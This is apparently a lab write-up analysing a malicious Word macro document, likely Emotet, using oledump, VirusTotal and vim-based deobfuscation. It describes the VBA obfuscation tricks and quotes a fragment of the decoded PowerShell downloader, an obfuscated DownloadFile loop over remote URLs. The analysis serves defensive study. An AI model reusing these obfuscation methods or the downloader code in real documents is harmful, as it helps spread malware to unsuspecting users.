Malicious documents are getting more popular among the threat actor. Unaware users about the risk of cyberthreat are still curious about attachment files sent to their email. Focusing on the end user to have a foothold in a company environment is a common way to attack by a threat agent. Do not hesitate to have a glance at the following .pdf file that gather the useful tools to investigate on a document that contains a malicious macro :
SANS DFIR - Analyzing Malicious Document.
Oledump is a program to analyze OLE files. Microsoft Office documents are OLE files and can contain stream of data. Oledump analyze those streams to see if any macro is found in the file.
URL : https://cyberdefenders.org/labs/51
Download the file from that URL. The file has a malicious macro, do not run it directly in your personal computer. Make sure to have a safe environment, or setup a malware analysis lab.
Before getting inside of that file, it would be better to know what kind of file it is. Is it recognized by antiviruses ? What kind of malware is it ? There are different ways to answer that question, such as sending this file to a public sandbox or send it VirusTotal. For this case, I took the md5 hash of the file and send it to VirusTotal.
The hash of the file is : ea50158bcef30d51e298846c056649c3, let's copy paste it on VirusTotal.
According to VirusTotal, the file is recognized as potential trojan, downloader, so running this file on your computer might put your system at risk. The file is a word document that contains some malicious macros, it is the typical way to attack by the Emotet malware. We can also expect some obfuscations in that document.
With the parameter -d, it performs a dump of the file that displays all the streams contained in that document. You can identify the streams that contain a macro when a upper or lower case "M" is found next to the index.
In this case, index 13, 15 and 16 contain a macro inside of the data stream. The last index might also indicate that the document is a Word document.
Checking the stream 13, a "private sub" is present which is a procedure in vba. A procedure is similar to a function, the code inside of the procedure will be executed once the program is calling the procedure. The name of the procedure is Document_open() and will call “boaxvoebxiotqueb” when the document is open. At this point, we still do not know what is “boaxvoebxiotqueb”.
Looking at the stream 15, we have the definition of several functions. Among them, "boaxvoebxiotqueb" is present, and display the code that will be executed when the program is calling the function. Looking at the code below, the variable "gooykadheoj" is taking a ASCII value of roubhaol.Zoom + Int(5*3).
However, we didn't find the Zoom variable of the roubhaol object. I decided to run the file in a safe environment to see what information we can retrieve. And the Zoom variable has been found in the roubhaol object when having a glance at the object properties. Zoom = 100.
The variable "geutyoeytiestheug" stores the argument of the function, then a split function is called, taking this variable and the pattern to remove ("2342772g3&*gs7712ffvs626fq") as argument.
To remove a pattern in vim:
Even if the joefwoefcheaw variable of the roubhaol object remains unknown to us, we can guess this is a "p" for "process". To get the confirmation let's find the variable "joefwoefcheaw" in the roubhaol object.
roubhaol.jeofwoefcheaw = "P", so we know the value of the variable "haothkoebtheil".
deaknaugthein = "tu"
roubhaol.paerwagyouqumeid.ControlTipText = "tar"
Therefore, the function lummlaud initialize a CreateObject object with winmgnmts:win32_processstartuP as argument.
The variable sjiqw is passing as argument to the function juuvzouchmiopxeox, therefore we can expect to have some deobfuscation to do with the pattern "2342772g3&*gs7712ffvs626fq".
I copy the value in Vim, and we have a very long string composed around of 15000 characters.
Similar as the previous obfuscated string, we deobfuscate the string with Vim using the following command:
The PowerShell script is encoded in base64. Time to decode it !
To get a better visibility, we can save that script in a file, and with Vim, we will replace ";" by ";" + line break.
Inside of that PowerShell script, it becomes very interesting.
foreach($geersieb in $jacleewyiqu){try{$reusthoas."dOWN`loA`dfi`Le"($geersieb, $toehfethxohbaey);